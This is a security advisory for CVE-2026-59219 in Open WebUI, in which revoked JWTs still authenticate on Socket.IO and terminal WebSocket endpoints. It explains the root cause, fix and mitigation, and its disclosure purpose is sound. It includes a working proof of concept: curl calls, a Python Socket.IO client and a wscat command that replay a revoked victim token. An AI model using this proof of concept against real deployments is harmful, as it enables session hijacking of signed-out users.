high · 7.1CVE-2026-59219Jul 24, 2026

CVE-2026-59219: Open WebUI Insufficient Session Expiration on Realtime Endpoints

Shubham Kandhare
Security Engagement Manager, SecureLayer7

In Redis-backed Open WebUI deployments, signing out or triggering an OIDC back-channel logout correctly revokes a JWT for HTTP requests but has no effect on Socket.IO and terminal WebSocket…

Packageopen-webui
Ecosystempip
Affected>= 0.9.0, < 0.10.0
Fixed in0.10.0
CVE-2026-59219: Open WebUI Insufficient Session Expiration on Realtime Endpoints

The problem

Open WebUI added JWT revocation via Redis in v0.9.0. On sign-out, the token's jti is written to {prefix}:auth:token:{jti}:revoked. On OIDC back-channel logout, a revoked_at timestamp is written to {prefix}:auth:user:{id}:revoked_at. The HTTP auth dependency (get_current_user) checks both keys and returns 401 for revoked tokens.

The Socket.IO handlers (connect, user-join, join-channels, join-note) and the terminal WebSocket first-message auth called only decode_token(), which verifies the JWT signature and expiry but never touches Redis. A revoked token therefore continues to authenticate new realtime connections, populate SESSION_POOL as the victim, receive collaborative-note and channel messages, and pass terminal WebSocket auth, all while the same token is already rejected on every HTTP endpoint.

Proof of concept

A working proof-of-concept for CVE-2026-59219 in open-webui, with the exact payload below.

bash
# Step 1: sign out (revokes the JWT in Redis — HTTP now returns 401)
curl -s -X POST https://target/ api/v1/auths/signout \
  -H "Authorization: Bearer $VICTIM_JWT"

# Step 2: confirm HTTP is blocked
curl -s -o /dev/null -w "%{http_code}" https://target/api/v1/auths/ \
  -H "Authorization: Bearer $VICTIM_JWT"
# -> 401

# Step 3: realtime auth still accepts the revoked token (vulnerable versions)
# Socket.IO user-join — Python example using the python-socketio client
python3 - <<'EOF'
import socketio

VICTIM_JWT = "<paste revoked token here>"
TARGET    = "https://target"

sio = socketio.Client()

@sio.event
def connect():
    print("[+] connected")
    sio.emit("user-join", {"auth": {"token": VICTIM_JWT}})

@sio.on("user-list")
def on_user_list(data):
    # Receiving user-list confirms the revoked token authenticated successfully
    print("[+] authenticated as victim via revoked JWT:", data)
    sio.disconnect()

sio.connect(TARGET, transports=["websocket"])
sio.wait()
EOF

# Terminal WebSocket — first message carries the revoked token as auth
# A successful lookup response (not 'Invalid token') confirms bypass
wscat -c "wss://target/ws/terminal" \
  --header "Upgrade: websocket" \
  --execute '{"token": "'"$VICTIM_JWT"'"}'

The root cause is a missing revocation check in every non-HTTP authentication path. decode_token() only validates the JWT signature and the exp claim. It has no awareness of the Redis keys that record per-token (jti) or per-user (revoked_at) revocations.

The fix (commit 33b91bd) introduces is_token_revoked(redis, decoded), which checks both Redis revocation key patterns. All Socket.IO handlers (connect, user-join, join-channels, join-note) and the terminal WebSocket first-message auth now call this helper and disconnect/reject if it returns true.

The HTTP is_valid_token path is refactored to delegate to the same helper, so behavior there is unchanged. CWE-613 (Insufficient Session Expiration) applies: the session mechanism (Redis revocation) existed and worked correctly, but it was simply not wired to the realtime code paths.

The fix

Upgrade to open-webui 0.10.0. The patch wires is_token_revoked() into all Socket.IO connect/event handlers and the terminal WebSocket first-message auth, using the main app Redis instance where revocations are stored. No configuration change is required beyond upgrading.

If an immediate upgrade is not possible and you use Redis-backed JWT revocation, consider blocking WebSocket/Socket.IO upgrade requests at the reverse proxy layer as a temporary mitigation.

Reported by doge-woof.

References: [1][2][3][4][5]

Related research